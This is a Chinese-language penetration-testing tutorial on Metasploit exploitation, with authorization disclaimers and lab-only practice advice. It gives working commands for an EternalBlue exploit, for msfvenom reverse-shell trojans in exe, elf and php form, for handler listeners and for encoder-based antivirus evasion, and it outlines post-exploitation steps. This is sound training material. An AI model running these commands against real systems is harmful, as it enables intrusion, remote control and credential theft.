前面两篇讲了”认框架”和”做侦察”。这一篇进入 MSF 的核心玩法——漏洞利用(exploit)和攻击载荷(payload)。简单说:exploit 负责”利用漏洞打开一道口子”,payload 负责”口子打开后具体执行什么”(比如弹一个 shell 回来)。两者配合,你才能在目标上拿到控制权。
本文所有利用操作仅用于你对自有或已授权的目标(如 Metasploitable 等靶机)。对未授权系统利用漏洞属违法。
exploit 与 payload 的关系
打个比方:exploit 是”撬锁的工具”,payload 是”撬开后你要进去干的事”。MSF 里它们通常是分开指定的:
- exploit 模块:针对某个具体漏洞(如 MS17-010 永恒之蓝、某 Web 应用的 RCE)。
- payload:利用成功后执行的内容,常见是 Meterpreter(一个功能丰富的反弹 shell)或简单的
cmd/unix/reverse等。
一个 exploit 可以搭配多种 payload,由你用 set PAYLOAD 指定(很多模块有默认 payload,会自动选)。
一个完整利用示例(授权靶机)
以经典的 MS17-010 永恒之蓝为例,流程是这样的:
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.5
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > exploit
关键参数:
RHOSTS:目标 IP(远程主机)。LHOST:你自己的监听 IP(本地主机,payload 要连回来的地址)。LPORT:你本地监听的端口。PAYLOAD:利用成功后执行的载荷,这里选 64 位 Windows 的 Meterpreter 反向 TCP shell。
exploit 跑起来后,如果目标存在漏洞,你会看到一个 [*] Sending stage... 然后 [*] Meterpreter session 1 opened——恭喜,你拿到了目标的一个会话。
正向(bind)与反向(reverse)连接
payload 有两类连接方向,入门必须分清:
- reverse(反向):目标主动连回你的
LHOST:LPORT。这是最常用、也最容易过防火墙的方式(出站连接常被允许)。上面例子就是 reverse_tcp。 - bind(正向):你在目标上开一个监听端口,你主动连过去。适合目标不能出网、但你能访问它的情况。
# 反向(常用)
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
# 正向(目标开端口,你连过去)
set PAYLOAD windows/x64/meterpreter/bind_tcp
set RPORT 4444
记住口诀:目标能出网用 reverse,目标不出网但你能进用 bind。
msfvenom:离线生成 payload
有些场景 msfconsole 里不方便直接 exploit(比如你要通过钓鱼邮件、U 盘、Web 上传把木马送进去)。这时用 msfvenom 单独生成木马文件:
# 生成一个 Windows 64 位反向 Meterpreter 木马 exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
# 生成一个 Linux 反向 shell(elf 格式)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf -o shell.elf
# 生成 PHP 一句话木马(Web 场景)
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f raw -o shell.php
注意:生成后必须在 msfconsole 里先起监听,木马连回来才有地方接:
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.1.5
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > run # 开始监听,等木马上线
exploit/multi/handler 就是个”通用接收器”,专门接各种反向 payload。木马在目标上运行 → 连回你的 handler → 会话建立。
编码与规避:绕过简单检测
生成的 exe 常被杀软一眼识破。MSF 提供 encoder 做编码(改变特征,但不是真正免杀,只是绕简单规则):
# 用 shikata_ga_nai 编码,迭代 3 次
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe -o shell.exe
要真正免杀,得靠分离加载、自定义加载器、加密等手段(后面”内网渗透·免杀基础”会讲)。这里先知道:编码 ≠ 免杀,别以为加个 -e 就安全了。
利用失败怎么办
新手常遇到 exploit 跑完没会话。排查顺序:
- 目标到底有没有这个漏洞:版本对不对?补丁打了没?先用上一篇的侦察确认。
- LHOST 填对没:必须是目标能路由到的你(同一网段用真实 IP,跨网用公网 IP + 端口转发)。
- 防火墙/杀软拦了:payload 被拦、端口被挡,换 payload 类型或端口试试。
- payload 架构匹配吗:32 位系统用
x64payload 会失败,看目标是 x86 还是 x64。 - 看完整输出:
exploit的每一行日志都可能是线索,别只盯着最后一行。
进阶:payload 选择的实战经验
选 payload 不是随便挑,几个经验:
- 架构要对:目标 64 位用
x64,32 位用x86,选错直接失败。用sysinfo/uname -m确认。 - reverse 优先:只要目标能出网,reverse 比 bind 成功率高三倍不止(出站常放行、入站常拦)。
- Meterpreter 还是纯 shell:要后渗透(截屏/抓哈希/迁移)选 Meterpreter;只要个简单命令通道,
cmd/unix/reverse更轻量、特征更少。 - Stage 与 Stager:MSF 的 Meterpreter 常分
stager(小块,负责连回并拉stage大块)。某些环境会拦 stage 下载,可换reverse_tcp的small变体或调HandlerSSLCert加密通道。 - 编码仅作辅助:
-e shikata_ga_nai可绕最弱规则,但别指望它过 EDR(免杀见内网篇)。
实战:生成木马并接会话的完整例子
把”msfvenom 生成 + handler 接”串成一次完整操作(靶场示例):
# 第一步:攻击机生成反向 Meterpreter 木马
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 -f exe -o shell.exe
# 第二步:攻击机起 handler 监听
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4444
run
# 控制台显示 [*] Started reverse TCP handler on 192.168.1.5:4444
# 第三步:把 shell.exe 弄到目标靶机并运行(练习环境直接拷贝运行)
# 目标运行后,攻击机控制台出现:
# [*] Sending stage (200262 bytes) to 192.168.1.20
# [*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.20:xxxx)
关键点回顾:LHOST 必须是目标能连回的你(同网段用真实 IP;跨网用公网 IP + 端口转发)。木马运行那瞬间,handler 才”接住”会话。若没会话,按前面”利用失败怎么办”逐条查(版本/LHOST/防火墙/架构)。
这个”生成+监听+运行”的三角,是后续所有后渗透的起点,务必在自己靶机上闭眼也能走通。
利用成功后的”下一跳”思考
拿到会话不是终点,要立刻想”下一步往哪走”。一个简单决策树:
- 我是 SYSTEM/root 吗? 不是 → 先提权(见内网篇·提权)。
- 这台机器在内网里吗? 是 → 开
autoroute把它当跳板,扫同网段(见内网篇·横向)。 - 它在域里吗? 是 → 抓域用户哈希、定位域控,准备域渗透(见内网篇·域)。
- 我拿到高价值凭据了吗? 有 → 用 PtH/明文横向到更多机器,滚雪球。
- 我的木马会被杀软杀吗? 会 → 考虑免杀(见内网篇·免杀)。
所以 exploit 只是”开门”,门后是提权、横向、域渗透一连串动作。本篇你学会”开门”,后面几篇教你怎么”在门里走”。养成”拿会话即想下一跳”的习惯,渗透才连贯。
关于练习靶机的提醒
学利用,必须练,但只能在自己完全控制的靶机上练。推荐资源:
- Metasploitable 2 / 3:专门留了一堆漏洞的 Linux 虚拟机,是练 MSF 利用的经典靶机。
- DVWA / WebGoat:Web 漏洞练习,配 MSF 的 Web 类 exploit 用。
- VulnHub / HTB(Hack The Box):大量社区靶机,按规则在授权平台内打。
- 自己的 Windows 虚拟机:关杀软或装 Defender 练免杀(见内网篇)。
绝不碰的:公网任意 IP、他人公司系统、未授权的云主机。哪怕”只是扫一下”也可能违法,且很多靶机其实是蜜罐,反追踪你。练习的本质是”在隔离环境里理解原理”,不是”找真实目标试手”。
速记:利用的三要素
利用能不能成,看三要素齐不齐:
- 目标与回连(RHOSTS / LHOST / LPORT):打谁、连回哪。LHOST 必须是目标能路由到的你。
- 载荷(PAYLOAD):利用成功后执行什么,reverse 还是 bind、Meterpreter 还是纯 shell、x86 还是 x64。
- 接收端(handler):msfvenom 生成的木马,必须有
multi/handler在监听才能接住会话。
三要素任一错,利用就失败。新手 90% 的问题出在 LHOST 填错或忘了起 handler——下利用前先默念这三样。
小结:利用是手段不是目的
最后提醒一句心态:利用(exploit)只是手段,不是目的。拿下一台机器的会话本身没有价值,会话里的数据、凭据、跳板才有价值——它们能帮你理解业务风险、横向到更核心的系统、给出可落地的修复建议。所以别为了”打成功”而打,每打下一个都问自己”打下来干什么、证明了什么风险”。这既是职业渗透的思维方式,也是和”纯攻击者”的根本区别。
常见误区
- “LHOST 填 127.0.0.1”:那是你本机回环,目标连不回来,要填目标能路由到的你的真实 IP。
- “bind 比 reverse 稳”:多数内网环境出站放行、入站拦截,reverse 反而更稳。
- “编码就是免杀”:前面强调过,编码对现代 EDR 基本无效。
- “exploit 没会话就是工具坏了”:先查漏洞是否真的存在、版本是否匹配。
自测题
- reverse 和 bind 的区别?什么场景用哪个?
- 为什么架构(x86/x64)选错会导致利用失败?
exploit/multi/handler是干什么的?什么时候必须用?- 编码(encoder)为什么不能算真正的免杀?
这一篇你该记住的
- exploit 是”撬锁工具”(针对具体漏洞),payload 是”撬开后干的事”(如 Meterpreter shell),两者配合拿会话。
- 关键参数:
RHOSTS(目标)、LHOST(你)、LPORT(你监听端口)、PAYLOAD(载荷)。 - reverse 反向(目标连回你,常用、易过防火墙)vs bind 正向(目标开端口你连过去)。
msfvenom离线生成木马;生成后用exploit/multi/handler起监听接会话。- 编码(
-e shikata_ga_nai)只是绕简单特征,不等于免杀;利用失败先查漏洞/版本/LHOST/架构。
下一篇我们深入拿到会话后的世界——Meterpreter。它是 MSF 最强大的部分:进程迁移、截图、键盘记录、抓哈希、提权、开代理,几乎把目标变成你的远程桌面。